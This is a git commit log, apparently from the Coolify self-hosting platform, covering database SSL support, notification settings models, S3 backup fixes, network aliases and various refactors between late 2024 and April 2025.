Andras Bacsai
fcf597fb16 feat(Application): add networkAliases attribute for handling network aliases as JSON or comma-separated values 2025-04-09 08:33:42 +02:00
Andras Bacsai
f8607ddf6a
Merge branch 'next' into docker-network-aliases 2025-04-08 13:27:59 +02:00
Andras Bacsai
1b8db2726a refactor(Server): use data_get for safer access to settings properties in isFunctional method 2025-04-05 12:35:36 +02:00
Andras Bacsai
18c4729c09
Merge pull request #5482 from djsisson/fix_custome_healthcheck
removed start interval as it is not a valid option and is not defined…
2025-03-31 15:29:34 +02:00
Andras Bacsai
d6d1c9ad82 feat(database): add CA certificate generation for database servers 2025-03-31 14:02:15 +02:00
Darren Sisson
887a96dd35 removed start interval as it is not a valid option and is not defined in coolify 2025-03-31 10:44:29 +01:00
Andras Bacsai
b376d6df2a reverting: encrypting mount and fs_path 2025-03-29 22:16:12 +01:00
Andras Bacsai
c2941abe57 fix(file-storage): double save on compose volumes 2025-03-28 22:10:33 +01:00
Andras Bacsai
d6d16f3844
Merge pull request #5433 from coollabsio/debug-emails
Emails
2025-03-26 17:27:34 +01:00
Andras Bacsai
5693b59874 refactor(database): update MongoDB SSL configuration for improved security 2025-03-26 12:25:58 +01:00
Andras Bacsai
63c496feee refactor(models): remove unnecessary cloud check in isEnabled method 2025-03-26 09:44:11 +01:00
Andras Bacsai
be95695ee8 refactor(models): add is_directory attribute to LocalFileVolume model 2025-03-25 09:40:36 +01:00
Andras Bacsai
e891318396 refactor(configuration): centralize configuration management in ConfigurationRepository 2025-03-24 21:01:27 +01:00
Andras Bacsai
e7f32a1c44 refactor(notifications): standardize getRecipients method signatures 2025-03-24 17:55:10 +01:00
Andras Bacsai
806d892031 refactor(application): streamline healthcheck parsing from Dockerfile 2025-03-24 11:43:10 +01:00
Andras Bacsai
d7d80e926e feat(user): implement session deletion on password reset 2025-03-21 15:45:29 +01:00
Andras Bacsai
26f4d37346 feat(notifications): add discord ping functionality and settings 2025-03-21 12:16:33 +01:00
Andras Bacsai
2ec3af8d2c
Merge branch 'next' into feat/api-services-create-custom-compose 2025-03-21 11:33:06 +01:00
Andras Bacsai
120facfca3 feat(api): unify service creation endpoint and enhance validation 2025-03-21 11:31:17 +01:00
Benjamin Grant
37c2a2b6ad
fix: correct some spellings 2025-03-19 19:49:59 +00:00
Andras Bacsai
ca5371a7d4
Merge pull request #5340 from DekraIT/main
fix(issue#4746): Do not use setGitImportSettings inside of generateGitLsRemoteCommands
2025-03-18 10:50:16 +01:00
Andras Bacsai
009cee1bbd
Merge branch 'next' into feat-db-ssl 2025-03-17 15:15:24 +01:00
Piotr Wójcik
0baeaa982b
Merge branch 'next' into docker-network-aliases 2025-03-16 14:50:26 +01:00
Andras Bacsai
282bb5c4cd fix(redis): set default redis_username for new instances
Added functionality to automatically assign a default 'redis_username' of 'default' when a StandaloneRedis instance is retrieved without an existing username. This ensures that all instances have a valid username, improving consistency and reducing potential errors in subsequent operations. Additionally, updated the redisUsername method to create a runtime environment variable for 'REDIS_USERNAME' with a default value if it does not already exist, enhancing the robustness of the configuration management.
2025-03-14 16:11:31 +01:00
Andras Bacsai
595370df92 feat(LocalFileVolume): add binary file detection and update UI logic
Implemented a new attribute to detect binary files in the LocalFileVolume model, enhancing the file handling capabilities. The isBinary method checks for binary content based on specific criteria, allowing for better management of file types. Additionally, updated the file storage UI to conditionally display conversion options based on the binary status of the file, improving user experience and preventing unintended actions on binary files. These changes contribute to a more robust and user-friendly file management system.
2025-03-14 14:55:38 +01:00
DekraIt
08f0661757 fix(issue#4746): Do not use setGitImportSettings inside of generateGitLsRemoteCommands 2025-03-14 05:14:18 +01:00
Andras Bacsai
c3d77e31b2 fix(database): Improve database type detection for Supabase Postgres images 2025-03-10 15:47:59 +01:00
Andras Bacsai
07cbec7ddc feat(billing): Add Stripe past due subscription status tracking 2025-03-01 12:43:12 +01:00
Andras Bacsai
2f826c56e8 fix(core): Adding a new server should not try to make the default docker network 2025-02-28 11:23:08 +01:00
Andras Bacsai
27e4882d57 feat(core): You can validate compose files with docker compose config
fix(core): labels are now accepted with both compose styles
refactor: remove lots of ray's
2025-02-27 11:29:04 +01:00
peaklabs-dev
225f24e650
chore: improve code quality suggested by code rabbit 2025-02-19 18:04:58 +01:00
🏔️ Peak
9557957f18
Merge branch 'next' into feat-db-ssl 2025-02-19 17:57:59 +01:00
Andras Bacsai
65b925252c feat(core): prevent using servers with existing resources as build servers 2025-02-18 16:44:16 +01:00
Andras Bacsai
b53e289bcd fix(core): improve connection testing with dynamic disk configuration for s3 backups 2025-02-13 10:07:58 +01:00
Andras Bacsai
be1742a85c fix(s3-storage): optimize team admin notification query 2025-02-13 09:55:24 +01:00
🏔️ Peak
43adb74755
Merge branch 'next' into feat-db-ssl 2025-02-11 17:41:45 +01:00
🏔️ Peak
e73c9b5f98
fix: system-wide GitHub apps (#5114)
- fix(ui): system-wide GitHub Apps are not shown in the create a new Application dialog
- fix: query logic error that shows all system-wide apps, regardless of whether they are public or private.
- fix: clicking on a system-wide GitHub app from a team other than the one that created it resulted in a 404 error.
2025-02-11 17:07:57 +01:00
peaklabs-dev
3e95387e10
Full: SSL Support for KeyDB 2025-02-10 21:29:45 +01:00
peaklabs-dev
90e681e24b
feat: Full SSL support for DrangonflyDB 2025-02-10 21:29:20 +01:00
peaklabs-dev
5c12f7273e
feat: New mode implementation for MongoDB 2025-02-10 15:18:29 +01:00
peaklabs-dev
484fc5140b
fix(ssl): rename Redis mode to verify-ca as it is not verify-full 2025-02-08 16:43:15 +01:00
peaklabs-dev
7b30b1aff1
feat(ssl): Full SSL support for Redis 2025-02-07 22:36:36 +01:00
peaklabs-dev
5b347f3d0f
fix(ssl): remove mode selection for MariaDB as it is not supported 2025-02-07 21:07:40 +01:00
peaklabs-dev
cd63760770
fix(ssl): when regenerating SSL certs the cert is not singed with the new CN 2025-02-07 19:36:52 +01:00
peaklabs-dev
367eebc9fc
feat: Add full SSL support to MongoDB 2025-02-05 22:56:29 +01:00
peaklabs-dev
844f40188a
feat(ssl): Add SSL relationships to all DBs 2025-02-05 22:19:13 +01:00
peaklabs-dev
e81ed1aad8
feat(ssl): Add full MariaDB SSL support 2025-02-04 21:08:20 +01:00
peaklabs-dev
3f857c6dac
feat(ssl): Add full MySQL SSL Support 2025-02-04 18:29:35 +01:00
peaklabs-dev
3c62130e86
fix(ssl): improve SSL cert file mounts
- If SSL is disabled, delete the SSL crt and file mounts in the DB
- If SSL is disabled, delete the SSL folder
- If SSL is enabled, make sure the file mounts are added inside the helper
- remove old file mounts first to make sure the ssl crt content is always up to date and no duplicates are added
2025-02-04 16:34:24 +01:00
peaklabs-dev
6de76ca3f8
fix(deletion): fix DB deletion
- delete file mounts, volume mounts, envs, ssl crts, backups and detach tags correctly when deleting
2025-02-04 15:32:56 +01:00
peaklabs-dev
fba95c3729
fix(migration): store subjectAlternativeNames as a json array in the db 2025-02-03 22:35:00 +01:00
peaklabs-dev
9d9fbd6859
feat(databases): add CA SSL crt location to Postgres URLs 2025-02-03 22:06:53 +01:00
peaklabs-dev
498bf04559
feat(migration): add CN and alternative names to DB 2025-02-03 22:05:32 +01:00
peaklabs-dev
34216af497
fix(db): SSL certificates table and model
- server_id is a foreign id
- server_id must be unique as each server can only have 1 CA cert
- resource_id must be unique as each resource can only have 1 SSL cert
2025-01-31 12:35:34 +01:00
peaklabs-dev
2ac9147532
chore(migration): remove unused columns 2025-01-30 14:16:52 +01:00
peaklabs-dev
429453af36
fix(ui): make sure file mounts do not showing the encrypted values 2025-01-30 14:16:27 +01:00
peaklabs-dev
92a4b5fce7
feat(db): add ssl mode to Postgres URLs 2025-01-29 13:28:42 +01:00
peaklabs-dev
3f582a1ea4
feat(migration): Add ssl_certificates table and model 2025-01-29 13:03:13 +01:00
Andras Bacsai
e049559e53 fix(database): detect more postgres database image types 2025-01-28 11:05:50 +01:00
peaklabs-dev
12c7ee2879
fix(s3): DigitalOcean storage buckets do not work 2025-01-25 23:40:40 +01:00
peaklabs-dev
8b6b1b6a9d
fix(storage): Hetzner storage buckets not working
- fix: Hetzner buckets do not work for backups
- refactor: removed special handling for Hetzner as it is no longer needed
2025-01-23 18:51:24 +01:00
peaklabs-dev
3f2f1cf966
chore(core): EnvironmentVariable Model now extends BaseModel to remove duplicated code 2025-01-22 20:14:44 +01:00
Andras Bacsai
4b74ca56c3 feat(core): wip version of coolify.json 2025-01-21 14:09:12 +01:00
Andras Bacsai
c891102db6 fix: add public key attribute to privatekey model 2025-01-20 13:59:02 +01:00
Andras Bacsai
618b89f648
Merge pull request #4842 from peaklabs-dev/docker-cleanup-executions-ui
feat: Docker cleanup execution UI and some UI improvements
2025-01-16 21:42:02 +01:00
Andras Bacsai
3c83c7fd6c
Merge pull request #4754 from coollabsio/improve-git-and-service-provider
Improves: GitHub handling, AppServiceProvider and 500 error message rendering
2025-01-16 21:09:08 +01:00
peaklabs-dev
8bcd1449d2
chore: remove limit on commit message 2025-01-16 14:42:33 +01:00
🏔️ Peak
881914dc86
Merge branch 'next' into docker-cleanup-executions-ui 2025-01-16 11:13:57 +01:00
Andras Bacsai
433dff2684 improve navigation 2025-01-16 11:04:50 +01:00
peaklabs-dev
222af12ef0
feat: dockerCleanupExecutions relationship 2025-01-15 17:14:05 +01:00
peaklabs-dev
52abc7cc92
feat: DB and Model for docker cleanup executions 2025-01-15 17:11:15 +01:00
Andras Bacsai
bc42429f7e
Merge pull request #4814 from peaklabs-dev/fix-system-wide-gh-apps
fix: instance wide GitHub apps
2025-01-13 12:45:20 +01:00
Andras Bacsai
e6692c95c9 feat: add is_coolify_host to the server api responses 2025-01-13 12:31:03 +01:00
🏔️ Peak
dd3abd2ba8
Merge branch 'next' into fix-system-wide-gh-apps 2025-01-13 12:24:56 +01:00
Andras Bacsai
9b55a2fb43 fix: if $SERVICE found in the service specific configuration, then search for it in the db 2025-01-13 12:23:38 +01:00
peaklabs-dev
db5786efc9
fix: instance wide GitHub apps are not available on other teams then the source team 2025-01-13 12:14:36 +01:00
Andras Bacsai
706602b3a8
Merge pull request #4799 from coollabsio/hotfix
Hotfix
2025-01-13 09:33:37 +01:00
Andras Bacsai
18f03dc173 fix: create destination properly 2025-01-12 17:26:28 +01:00
Andras Bacsai
a396d51452
Merge branch 'next' into hotfix 2025-01-10 20:23:29 +01:00
Andras Bacsai
7582d7dd8b refactor: streamline job status retrieval and clean up repository interface
- Simplified the job status retrieval process by consolidating logic into a single `getJobStatus` function.
- Removed redundant checks and methods from the `CustomJobRepositoryInterface` and `CustomJobRepository`.
- Updated the `getHorizonJobStatus` method in `ApplicationDeploymentQueue` to directly utilize the new `getJobStatus` function.
- Enhanced the `isThereAJobInProgress` method to improve clarity and maintainability.
2025-01-10 19:53:13 +01:00
Andras Bacsai
02400added fix: horizon job checker 2025-01-10 18:27:48 +01:00
Andras Bacsai
b7d18fc28c fix: getcontainer status should timeout after 30s 2025-01-10 12:04:59 +01:00
🏔️ Peak
c1504fa5ff
Merge branch 'next' into improve-git-and-service-provider 2025-01-09 21:18:30 +01:00
Andras Bacsai
1fe4dd722b Revert "rector: arrrrr"
This reverts commit 16c0cd10d8.
2025-01-07 15:31:43 +01:00
Andras Bacsai
16c0cd10d8 rector: arrrrr 2025-01-07 14:52:08 +01:00
peaklabs-dev
2c4bdb76bd chore: use new functions 2025-01-06 16:58:20 +01:00
Piotr Wojcik
9acde06795 Custom network aliases for Dockerfile and Docker Image apps 2025-01-05 07:47:57 +01:00
Andras Bacsai
2b8c559662 refactor: server limit
remove envs from constants related to server limit
2024-12-28 14:10:26 +01:00
Andras Bacsai
f575d1249e Merge branch 'main' into next 2024-12-27 11:09:29 +01:00
Andras Bacsai
a9ec0b1c3e fix: update healthcheck and port configurations to use port 8080 2024-12-23 21:11:29 +01:00
peaklabs-dev
f26853b576
fix: unreachable notifications 2024-12-23 16:51:34 +01:00
Andras Bacsai
a8401182af add debug logs to debug the logs - lol 2024-12-17 23:18:40 +01:00
Andras Bacsai
203a20e75e Merge branch 'next' into fix-unreachable-notificiations 2024-12-17 22:35:09 +01:00
Andras Bacsai
9e3467578f feat: add environment_uuid support and update API documentation
- Introduced `environment_uuid` as a required field in various API endpoints and schemas.
- Updated descriptions to clarify that either `environment_name` or `environment_uuid` must be provided.
- Modified routes and controller methods to accommodate the new UUID parameter.
- Adjusted frontend components to utilize `environment_uuid` for better consistency and clarity.
- Removed deprecated fields related to environment handling.

This change enhances the API's flexibility in identifying environments, improving overall usability.
2024-12-17 13:42:16 +01:00
Andras Bacsai
bf9d89f279
Merge branch 'next' into fix-environement-route 2024-12-17 12:17:50 +01:00
Andras Bacsai
2a9d499251 feat: migrate env variables to polymorphic relationship
fix: proxy status query ui
2024-12-17 10:38:42 +01:00
peaklabs-dev
0cbb3a08c2
fix: use serverStatus not just status 2024-12-16 14:27:17 +01:00
peaklabs-dev
0957fe8bfc
chore: remove ray debugging 2024-12-16 14:15:38 +01:00
peaklabs-dev
80425a16ee
fix: few fixes and use new ServerReachabilityChanged event 2024-12-16 14:06:53 +01:00
peaklabs-dev
5571aa4530
feat: use new ServerReachabilityChanged event instead of isDirty 2024-12-16 14:06:16 +01:00
peaklabs-dev
fcdec3a80d
fix: unreachable notifications 2024-12-15 15:09:58 +01:00
Andras Bacsai
4901b12279 fix: service status indicator + oauth saving 2024-12-13 12:03:10 +01:00
peaklabs-dev
f88438edd3
chore: rename topicID to threadId like in the telegram API response 2024-12-11 23:13:13 +01:00
peaklabs-dev
866abfb1d4
fix: typo in pushover user key 2024-12-11 19:31:25 +01:00
peaklabs-dev
92fec9582c
fix: make pushover settings more clear
- Rename User to User Key
- Rename Token to API Token
- fix: helper and docs links
2024-12-11 19:18:39 +01:00
🏔️ Peak
86512bb7b8
Merge pull request #4543 from ezyostudio/next-pushover
feat(notification): add Pushover
2024-12-11 18:41:18 +01:00
Zao Soula
ef35429533 feat(notification): add Pushover 2024-12-11 18:13:16 +01:00
Andras Bacsai
7be3c6f2b7 refactor: improve migration command and enhance application model with global scope and status checks 2024-12-11 17:18:32 +01:00
Andras Bacsai
1908d8a180 fix: --cone 2024-12-11 15:12:53 +01:00
🏔️ Peak
e24fbddc59
Merge branch 'next' into separate-success-and-failure-notifications 2024-12-10 16:40:20 +01:00
peaklabs-dev
99eea783ae
feat: scheduled task success and failure notifications 2024-12-10 14:45:47 +01:00
peaklabs-dev
96d4754a32
Update EmailNotificationSettings.php 2024-12-10 14:17:23 +01:00
peaklabs-dev
d3ce6d814c
feat: use encryption in instance settings model 2024-12-10 13:45:52 +01:00
Andras Bacsai
19d277f8ec refactor: rename name method to sanitizedName in BaseModel for clarity 2024-12-10 08:50:07 +01:00
peaklabs-dev
868d80bde6
feat: Slack notification settings Model 2024-12-09 15:54:52 +01:00
peaklabs-dev
2166899721
feat: Discord notification settings Model 2024-12-09 15:52:50 +01:00
peaklabs-dev
b5351448ed
feat: Telegram notification settings Model 2024-12-09 15:50:23 +01:00
peaklabs-dev
cf21ae13f1
feat: Email Notification Settings Model 2024-12-09 15:47:05 +01:00
peaklabs-dev
b13d77377c
feat: new shared function name is_transactional_emails_enabled() 2024-12-09 15:34:24 +01:00
peaklabs-dev
e36ccd3d78
chore: remove resale license reference 2024-12-09 14:29:41 +01:00
peaklabs-dev
4428b95a65
chore: fix typo 2024-12-09 12:36:33 +01:00
peaklabs-dev
bd36149f09
feat: use new notification stuff inside team model
- Use new notification relationships
- Use trait
- Make sure that when a new team is created, notification settings are also created
- reorder team model for better readability
2024-12-09 12:33:27 +01:00